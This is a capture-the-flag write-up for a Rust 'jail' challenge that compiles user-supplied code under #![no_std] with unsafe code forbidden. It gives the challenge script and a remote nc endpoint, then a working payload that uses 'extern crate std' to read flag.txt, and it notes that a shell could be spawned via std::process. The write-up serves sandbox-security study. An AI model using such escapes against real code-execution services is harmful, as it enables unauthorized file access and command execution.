The challenge is a Rust jail written in a simple bash script.
```#!/bin/bashecho "Your code please."
FOLDER=$(mktemp -d)cp flag.txt "$FOLDER"cd "$FOLDER"mkdir srccat <<EOF > Cargo.toml[package]name = "funsafe"version = "0.1.0"edition = "2021"[lib]name = "funsafe"path = "src/lib.rs"[[bin]]name = "funsafe-bin"path = "src/main.rs"[dependencies]ctor = "0.2"[profile.release]panic = "abort"EOF
read programecho "#![no_std] ${program//!/}" > src/lib.rsecho "use funsafe::fun; pub fn main() {fun()}" > src/main.rs
RUSTFLAGS="$RUSTFLAGS -Funsafe-code -Zsanitizer=address" timeout 20 cargo +nightly run --target x86_64-unknown-linux-gnu --release
rm -rf "$FOLDER"```
We can communicate with the bash script remotely via nc 52.59.124.14 10075.
From the bash script, we know that:- User input will be used for the content of src/lib.rs.- All occurences of ! are stripped, presumably to avoid any call to macro.- The code is prepended with #![no_std], which is a crate-level attribute that indicates that the crate will link to the core-crate instead of the std-crate.- Because of #![no_std], the code can’t use std directly such as println, process, or fs.- The main function in src/main.rs will call the fun() function in src/lib.rs.- The program is compiled with -Funsafe-code -Zsanitizer=address flags to forbid unsafe code and enable AddressSanitizer, presumably to avoid unsafe code such as direct call to Assembly from Rust and to harden the binary from memory corruption.
We discovered that we actually can still load std even if #![no_std] presents simply by using extern crate std. We can execute shell using std::process or read the flag.txt file using std::fs.
Example:
```extern crate std; use crate::std::io::BufRead; use crate::std::io::Write; pub fn fun() { if let Ok(file) = crate::std::fs::File::open("flag.txt") { if let Some(first_line) = crate::std::io::BufReader::new(file).lines().next() { if let Ok(line) = first_line { crate::std::io::stdout().write_all(line.as_bytes()).unwrap(); } } } }```